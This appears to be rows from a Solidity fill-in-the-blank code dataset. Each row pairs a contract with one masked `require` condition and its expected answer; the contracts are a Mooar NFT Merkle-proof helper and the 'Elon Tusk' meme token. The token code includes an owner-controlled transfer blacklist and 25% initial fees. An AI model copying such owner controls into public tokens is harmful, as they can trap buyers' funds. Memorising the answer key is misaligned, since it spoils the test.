function verifyUnfreezeMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByETH(address account, uint256 ethMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByToken(address account, address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyDirectMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status) public view {
}
function verifyDirectMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status) public view {
}
}
| MerkleProof.verify(merkleProof,tokenMerkleRoot,node)==true,"Fail to verify proof" | 417,755 | MerkleProof.verify(merkleProof,tokenMerkleRoot,node)==true |
"Fail to verify proof" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
struct MooarNFTLaunchStatus {
bool isMooarLaunched;
bool isMooarUnlaunched;
bytes32 tokenMerkleRoot;
uint256 redeemMintStartTime;
uint256 unfreezeMintStartTime;
bytes32 priorityMerkleRoot;
uint256 priorityMintStartTime;
uint256 directMintStartTime;
}
library MooarNFTHelper {
function onlyRedeemMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyUnfreezeMinting(MooarNFTLaunchStatus storage self) public view {
}
function onlyPriorityMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyDirectMinting(MooarNFTLaunchStatus storage self) private view {
}
function onlyMintByETH(uint256 ethMintCost) private view {
}
function onlyMintByToken(address tokenMintBaseToken, uint256 tokenMintCost) private pure {
}
function verifyTokenMerkleProof(address account, bytes32 tokenMerkleRoot, uint256 tokenId, bytes32[] calldata merkleProof) internal pure {
}
function verifyAccountMerkleProof(address account, bytes32 accountMerkleRoot, bytes32[] calldata merkleProof) internal pure {
require(accountMerkleRoot != bytes32(0), "No priority merkle root");
bytes32 node = keccak256(abi.encodePacked(account));
require(<FILL_ME>)
}
function verifyRedeemMint(address account, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyUnfreezeMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, uint256 tokenId, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByETH(address account, uint256 ethMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyPriorityMintByToken(address account, address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status, bytes32[] calldata merkleProof) public view {
}
function verifyDirectMintByETH(uint256 ethMintCost, MooarNFTLaunchStatus storage status) public view {
}
function verifyDirectMintByToken(address tokenMintBaseToken, uint256 tokenMintCost, MooarNFTLaunchStatus storage status) public view {
}
}
| MerkleProof.verify(merkleProof,accountMerkleRoot,node)==true,"Fail to verify proof" | 417,755 | MerkleProof.verify(merkleProof,accountMerkleRoot,node)==true |
"To/from address is blacklisted" | // SPDX-License-Identifier: MIT
/*
Elon Tusk - Elon Musk's Evil Twin Brother
https://t.me/ElonTusk_ERC
https://twitter.com/ElonTusk_ERC
https://medium.com/@ElonTusk_ERC
https://www.el-on-tusk.meme/
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TUSK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private addrrExcIude;
mapping (address => bool) public aMakerV2sPair;
mapping(address => uint256) private _prevTnxTimestamps;
mapping (address => bool) public _isSus;
address payable private _taxAddress;
uint256 initialBlock;
uint256 private _iBuyT=250;
uint256 private _mBuyT=100;
uint256 private _iSellT=250;
uint256 private _mSellT=100;
uint256 private _fBuyT=5;
uint256 private _fSellT=5;
uint256 private _mBuyTAt=20;
uint256 private _rBuyTAt=30;
uint256 private _mSellTAt=20;
uint256 private _rSellTAt=30;
uint256 private _noSwapingBefore=30;
uint256 private _cBuysCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotaI = 1000000000 * 10**_decimals;
string private constant _name = unicode"Elon Tusk";
string private constant _symbol = unicode"TUSK";
uint256 public _perTnxLimit = 10000000 * 10**_decimals;
uint256 public _perWalletsLimit = 10000000 * 10**_decimals;
uint256 public _taxSwapThresLimit= 10000 * 10**_decimals;
uint256 public _taxSwapLimit= 60000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public _rescueSwitch = false;
bool public _startTrade;
bool private _delayPerTnx = true;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxLimitUpdated(uint _perTnxLimit);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function aMMakerV2sPair(address addr) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
require(<FILL_ME>)
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 _feeAmount=0;
if (aMakerV2sPair[from] && to != address(this)){
require(tx.origin == to);
}
if (from != owner() && to != owner()) {
_feeAmount = amount.mul((_cBuysCount> _rBuyTAt)? _fBuyT: ((_cBuysCount> _mBuyTAt)? _mBuyT: _iBuyT)).div(1000);
if (_delayPerTnx) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_prevTnxTimestamps[tx.origin] < block.number,"Only one transfer per block allowed.");
_prevTnxTimestamps[tx.origin] = block.number;
}
}
if (aMakerV2sPair[from] && to != address(uniswapV2Router) && ! addrrExcIude[to] ) {
require(amount <= _perTnxLimit, "Exceeds the _perTnxLimit.");
require(balanceOf(to) + amount <= _perWalletsLimit, "Exceeds the maxWalletSize.");
if (initialBlock + 3 > block.number) {
require(!isContract(to));
}
_cBuysCount++;
}
if (!aMakerV2sPair[to] && ! addrrExcIude[to]) {
require(balanceOf(to) + amount <= _perWalletsLimit, "Exceeds the maxWalletSize.");
}
if(aMakerV2sPair[to] && from!= address(this) ){
_feeAmount = amount.mul((_cBuysCount> _rSellTAt)? _fSellT: ((_cBuysCount> _mSellTAt)? _mSellT: _iSellT)).div(1000);
}
if (!aMakerV2sPair[from] && !aMakerV2sPair[to] && from!= address(this) ) {
_feeAmount = 0;
}
uint256 tokenContractBalance = balanceOf(address(this));
if (!inSwap && aMakerV2sPair[to] && swapEnabled && tokenContractBalance>_taxSwapThresLimit && _cBuysCount>_noSwapingBefore) {
swapTokensForEth(min(amount,min(tokenContractBalance,_taxSwapLimit)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(_feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(_feeAmount);
emit Transfer(from, address(this),_feeAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(_feeAmount));
emit Transfer(from, to, amount.sub(_feeAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addToSus(address[] calldata addresses) external onlyOwner {
}
function isRescueEnable(bool _status) external onlyOwner {
}
function addressExclude(address addr, bool exempt) external onlyOwner {
}
function _delayPerTnxM(bool _status) external onlyOwner {
}
function _isDustETH() public {
}
function _isDustERC20(address _tokenAddr, uint _amount) public {
}
function _setFsOnBS(uint256 __fBuyT, uint256 __fSellT) external onlyOwner {
}
function removeFromSus(address account) external onlyOwner {
}
function removeFromSuswallets(address[] calldata addresses) public onlyOwner(){
}
function _islimitless() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function startLiveTrade() external onlyOwner() {
}
receive() external payable {}
}
| !_isSus[from]&&!_isSus[to],"To/from address is blacklisted" | 417,889 | !_isSus[from]&&!_isSus[to] |
"Only one transfer per block allowed." | // SPDX-License-Identifier: MIT
/*
Elon Tusk - Elon Musk's Evil Twin Brother
https://t.me/ElonTusk_ERC
https://twitter.com/ElonTusk_ERC
https://medium.com/@ElonTusk_ERC
https://www.el-on-tusk.meme/
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TUSK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private addrrExcIude;
mapping (address => bool) public aMakerV2sPair;
mapping(address => uint256) private _prevTnxTimestamps;
mapping (address => bool) public _isSus;
address payable private _taxAddress;
uint256 initialBlock;
uint256 private _iBuyT=250;
uint256 private _mBuyT=100;
uint256 private _iSellT=250;
uint256 private _mSellT=100;
uint256 private _fBuyT=5;
uint256 private _fSellT=5;
uint256 private _mBuyTAt=20;
uint256 private _rBuyTAt=30;
uint256 private _mSellTAt=20;
uint256 private _rSellTAt=30;
uint256 private _noSwapingBefore=30;
uint256 private _cBuysCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotaI = 1000000000 * 10**_decimals;
string private constant _name = unicode"Elon Tusk";
string private constant _symbol = unicode"TUSK";
uint256 public _perTnxLimit = 10000000 * 10**_decimals;
uint256 public _perWalletsLimit = 10000000 * 10**_decimals;
uint256 public _taxSwapThresLimit= 10000 * 10**_decimals;
uint256 public _taxSwapLimit= 60000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public _rescueSwitch = false;
bool public _startTrade;
bool private _delayPerTnx = true;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxLimitUpdated(uint _perTnxLimit);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function aMMakerV2sPair(address addr) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
require (!_isSus[from] && !_isSus[to], "To/from address is blacklisted");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 _feeAmount=0;
if (aMakerV2sPair[from] && to != address(this)){
require(tx.origin == to);
}
if (from != owner() && to != owner()) {
_feeAmount = amount.mul((_cBuysCount> _rBuyTAt)? _fBuyT: ((_cBuysCount> _mBuyTAt)? _mBuyT: _iBuyT)).div(1000);
if (_delayPerTnx) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_prevTnxTimestamps[tx.origin] = block.number;
}
}
if (aMakerV2sPair[from] && to != address(uniswapV2Router) && ! addrrExcIude[to] ) {
require(amount <= _perTnxLimit, "Exceeds the _perTnxLimit.");
require(balanceOf(to) + amount <= _perWalletsLimit, "Exceeds the maxWalletSize.");
if (initialBlock + 3 > block.number) {
require(!isContract(to));
}
_cBuysCount++;
}
if (!aMakerV2sPair[to] && ! addrrExcIude[to]) {
require(balanceOf(to) + amount <= _perWalletsLimit, "Exceeds the maxWalletSize.");
}
if(aMakerV2sPair[to] && from!= address(this) ){
_feeAmount = amount.mul((_cBuysCount> _rSellTAt)? _fSellT: ((_cBuysCount> _mSellTAt)? _mSellT: _iSellT)).div(1000);
}
if (!aMakerV2sPair[from] && !aMakerV2sPair[to] && from!= address(this) ) {
_feeAmount = 0;
}
uint256 tokenContractBalance = balanceOf(address(this));
if (!inSwap && aMakerV2sPair[to] && swapEnabled && tokenContractBalance>_taxSwapThresLimit && _cBuysCount>_noSwapingBefore) {
swapTokensForEth(min(amount,min(tokenContractBalance,_taxSwapLimit)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(_feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(_feeAmount);
emit Transfer(from, address(this),_feeAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(_feeAmount));
emit Transfer(from, to, amount.sub(_feeAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addToSus(address[] calldata addresses) external onlyOwner {
}
function isRescueEnable(bool _status) external onlyOwner {
}
function addressExclude(address addr, bool exempt) external onlyOwner {
}
function _delayPerTnxM(bool _status) external onlyOwner {
}
function _isDustETH() public {
}
function _isDustERC20(address _tokenAddr, uint _amount) public {
}
function _setFsOnBS(uint256 __fBuyT, uint256 __fSellT) external onlyOwner {
}
function removeFromSus(address account) external onlyOwner {
}
function removeFromSuswallets(address[] calldata addresses) public onlyOwner(){
}
function _islimitless() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function startLiveTrade() external onlyOwner() {
}
receive() external payable {}
}
| _prevTnxTimestamps[tx.origin]<block.number,"Only one transfer per block allowed." | 417,889 | _prevTnxTimestamps[tx.origin]<block.number |
"Exceeds the maxWalletSize." | // SPDX-License-Identifier: MIT
/*
Elon Tusk - Elon Musk's Evil Twin Brother
https://t.me/ElonTusk_ERC
https://twitter.com/ElonTusk_ERC
https://medium.com/@ElonTusk_ERC
https://www.el-on-tusk.meme/
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TUSK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private addrrExcIude;
mapping (address => bool) public aMakerV2sPair;
mapping(address => uint256) private _prevTnxTimestamps;
mapping (address => bool) public _isSus;
address payable private _taxAddress;
uint256 initialBlock;
uint256 private _iBuyT=250;
uint256 private _mBuyT=100;
uint256 private _iSellT=250;
uint256 private _mSellT=100;
uint256 private _fBuyT=5;
uint256 private _fSellT=5;
uint256 private _mBuyTAt=20;
uint256 private _rBuyTAt=30;
uint256 private _mSellTAt=20;
uint256 private _rSellTAt=30;
uint256 private _noSwapingBefore=30;
uint256 private _cBuysCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotaI = 1000000000 * 10**_decimals;
string private constant _name = unicode"Elon Tusk";
string private constant _symbol = unicode"TUSK";
uint256 public _perTnxLimit = 10000000 * 10**_decimals;
uint256 public _perWalletsLimit = 10000000 * 10**_decimals;
uint256 public _taxSwapThresLimit= 10000 * 10**_decimals;
uint256 public _taxSwapLimit= 60000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public _rescueSwitch = false;
bool public _startTrade;
bool private _delayPerTnx = true;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxLimitUpdated(uint _perTnxLimit);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function aMMakerV2sPair(address addr) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
require (!_isSus[from] && !_isSus[to], "To/from address is blacklisted");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 _feeAmount=0;
if (aMakerV2sPair[from] && to != address(this)){
require(tx.origin == to);
}
if (from != owner() && to != owner()) {
_feeAmount = amount.mul((_cBuysCount> _rBuyTAt)? _fBuyT: ((_cBuysCount> _mBuyTAt)? _mBuyT: _iBuyT)).div(1000);
if (_delayPerTnx) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_prevTnxTimestamps[tx.origin] < block.number,"Only one transfer per block allowed.");
_prevTnxTimestamps[tx.origin] = block.number;
}
}
if (aMakerV2sPair[from] && to != address(uniswapV2Router) && ! addrrExcIude[to] ) {
require(amount <= _perTnxLimit, "Exceeds the _perTnxLimit.");
require(<FILL_ME>)
if (initialBlock + 3 > block.number) {
require(!isContract(to));
}
_cBuysCount++;
}
if (!aMakerV2sPair[to] && ! addrrExcIude[to]) {
require(balanceOf(to) + amount <= _perWalletsLimit, "Exceeds the maxWalletSize.");
}
if(aMakerV2sPair[to] && from!= address(this) ){
_feeAmount = amount.mul((_cBuysCount> _rSellTAt)? _fSellT: ((_cBuysCount> _mSellTAt)? _mSellT: _iSellT)).div(1000);
}
if (!aMakerV2sPair[from] && !aMakerV2sPair[to] && from!= address(this) ) {
_feeAmount = 0;
}
uint256 tokenContractBalance = balanceOf(address(this));
if (!inSwap && aMakerV2sPair[to] && swapEnabled && tokenContractBalance>_taxSwapThresLimit && _cBuysCount>_noSwapingBefore) {
swapTokensForEth(min(amount,min(tokenContractBalance,_taxSwapLimit)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(_feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(_feeAmount);
emit Transfer(from, address(this),_feeAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(_feeAmount));
emit Transfer(from, to, amount.sub(_feeAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addToSus(address[] calldata addresses) external onlyOwner {
}
function isRescueEnable(bool _status) external onlyOwner {
}
function addressExclude(address addr, bool exempt) external onlyOwner {
}
function _delayPerTnxM(bool _status) external onlyOwner {
}
function _isDustETH() public {
}
function _isDustERC20(address _tokenAddr, uint _amount) public {
}
function _setFsOnBS(uint256 __fBuyT, uint256 __fSellT) external onlyOwner {
}
function removeFromSus(address account) external onlyOwner {
}
function removeFromSuswallets(address[] calldata addresses) public onlyOwner(){
}
function _islimitless() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function startLiveTrade() external onlyOwner() {
}
receive() external payable {}
}
| balanceOf(to)+amount<=_perWalletsLimit,"Exceeds the maxWalletSize." | 417,889 | balanceOf(to)+amount<=_perWalletsLimit |
null | // SPDX-License-Identifier: MIT
/*
Elon Tusk - Elon Musk's Evil Twin Brother
https://t.me/ElonTusk_ERC
https://twitter.com/ElonTusk_ERC
https://medium.com/@ElonTusk_ERC
https://www.el-on-tusk.meme/
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TUSK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private addrrExcIude;
mapping (address => bool) public aMakerV2sPair;
mapping(address => uint256) private _prevTnxTimestamps;
mapping (address => bool) public _isSus;
address payable private _taxAddress;
uint256 initialBlock;
uint256 private _iBuyT=250;
uint256 private _mBuyT=100;
uint256 private _iSellT=250;
uint256 private _mSellT=100;
uint256 private _fBuyT=5;
uint256 private _fSellT=5;
uint256 private _mBuyTAt=20;
uint256 private _rBuyTAt=30;
uint256 private _mSellTAt=20;
uint256 private _rSellTAt=30;
uint256 private _noSwapingBefore=30;
uint256 private _cBuysCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotaI = 1000000000 * 10**_decimals;
string private constant _name = unicode"Elon Tusk";
string private constant _symbol = unicode"TUSK";
uint256 public _perTnxLimit = 10000000 * 10**_decimals;
uint256 public _perWalletsLimit = 10000000 * 10**_decimals;
uint256 public _taxSwapThresLimit= 10000 * 10**_decimals;
uint256 public _taxSwapLimit= 60000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public _rescueSwitch = false;
bool public _startTrade;
bool private _delayPerTnx = true;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxLimitUpdated(uint _perTnxLimit);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function aMMakerV2sPair(address addr) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addToSus(address[] calldata addresses) external onlyOwner {
}
function isRescueEnable(bool _status) external onlyOwner {
}
function addressExclude(address addr, bool exempt) external onlyOwner {
}
function _delayPerTnxM(bool _status) external onlyOwner {
}
function _isDustETH() public {
require(<FILL_ME>)
payable(_taxAddress).transfer(address(this).balance);
}
function _isDustERC20(address _tokenAddr, uint _amount) public {
}
function _setFsOnBS(uint256 __fBuyT, uint256 __fSellT) external onlyOwner {
}
function removeFromSus(address account) external onlyOwner {
}
function removeFromSuswallets(address[] calldata addresses) public onlyOwner(){
}
function _islimitless() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function startLiveTrade() external onlyOwner() {
}
receive() external payable {}
}
| _rescueSwitch||_startTrade | 417,889 | _rescueSwitch||_startTrade |
"trading is already open" | // SPDX-License-Identifier: MIT
/*
Elon Tusk - Elon Musk's Evil Twin Brother
https://t.me/ElonTusk_ERC
https://twitter.com/ElonTusk_ERC
https://medium.com/@ElonTusk_ERC
https://www.el-on-tusk.meme/
*/
pragma solidity 0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
